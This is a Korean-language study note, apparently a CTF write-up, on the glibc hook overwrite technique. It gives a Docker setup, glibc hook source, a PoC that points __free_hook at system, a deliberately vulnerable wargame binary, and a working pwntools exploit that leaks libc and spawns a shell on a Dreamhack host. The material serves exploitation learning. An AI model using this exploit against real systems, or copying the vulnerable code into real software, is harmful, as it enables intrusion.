Hooking(후킹)은 운영체제가 어떤 코드를 실행하려 할 떄, 이를 낚아채어 다른 코드가 실행되게 하는 것을 말한다.malloc()과 free()와 함께 호출되는 Hook이 함수 포인터 형태로 존재하는데, 이 함수 포인터를 임의의 함수 주소로 오버라이트 하는 것이 Hook Overwrite다. 이를 이용해 Full RELRO를 우회할 수 있다.
그리고 본 문서에서는 원가젯(one-gadget)에 대해 배울 것이다.
malloc과 free의 훅이 유효하면서 원가젯의 제약조건을 쉽게 만족하는 환경은 Ubuntu 18.06 64bit(Glibc 2.27버전) 이다.
도커파일은 다음과 같다.
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby-full\
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install elftools -v 1.1.3
RUN gem install one_gadget -v 1.9.0
WORKDIR /root
도커 이미지 빌드/컨테이너 실행/셸 실행 명령어
$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash
제목의 세 함수는 디버깅 편의를 위해 훅 변수가 정의된다. 함수가 시작될때, 훅 변수의 값이 NULL인지 검사하고, 아니라면 그 함수를 실행하기 전에 훅 변수가 가리키는 함수를 먼저 실행한다. 이때, 원래 함수의 인자는 훅 함수에 전달된다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
훅 변수는 libc.so의 bss, data 섹션에 포함된다. 이 섹션들에는 쓰기가 가능하므로 조작이 가능하다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}

훅 변수는 쓰기 권한으로 존재하는 함수 포인터이기에, 공격에 악용되기 쉽다. 뿐만 아니라 힙 청크 할당과 해제가 다발적으로 일어나는 환경에서 성능에 악영향을 주기 떄문에 보안과 성능 향상을 이유로 Glibc 2.34 버전부터 제거되었다.
도커 환경 구축 참고 사이트
소스코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
위의 소스코드는 Canary, ASLR, PIE, RELRO가 모두 적용되어 있다.
(1) 먼저 처음에 버퍼 오버 플로우를 통해 main 함수를 호출한 __libc_start_main 함수의 주소를 읽고, libc_base를 계산한다.
(2) 2단계에서는 임의의 주소에 내가 원하는 임의의 값을 넣을 수 있다. 즉 훅 변수에 내가 원하는 system 함수 주소를 free 함수의 훅 변수에 넣으면 free 함수가 실행되기 전에 system 함수가 실행된다.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"
p = remote("host3.dreamhack.games",15161)
e = ELF("./fho")
libc = ELF('./libc-2.27.so')
#########################offset#################################
hook_off = libc.symbols['__free_hook']
sys_off = libc.symbols['system']
sh_off = list(libc.search(b"/bin/sh"))[0]
libc_start_off = libc.symbols['__libc_start_main']
#[1] Leak libc! ####################################################
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start - libc_start_off - 231
system = libc_base + sys_off
sh = libc_base + sh_off
free_hook = libc_base + hook_off
slog('libc_base', libc_base)
slog('system', system)
slog('free hook', free_hook)
slog('/bin/sh', sh)
# [2] __free_hook = &system
p.sendlineafter('write: ', str(free_hook).encode())
p.sendlineafter('With: ', str(system).encode())
#[3] free(/bin/sh) ==> system(/bin/sh)
p.sendlineafter('free: ', str(sh).encode())
p.interactive()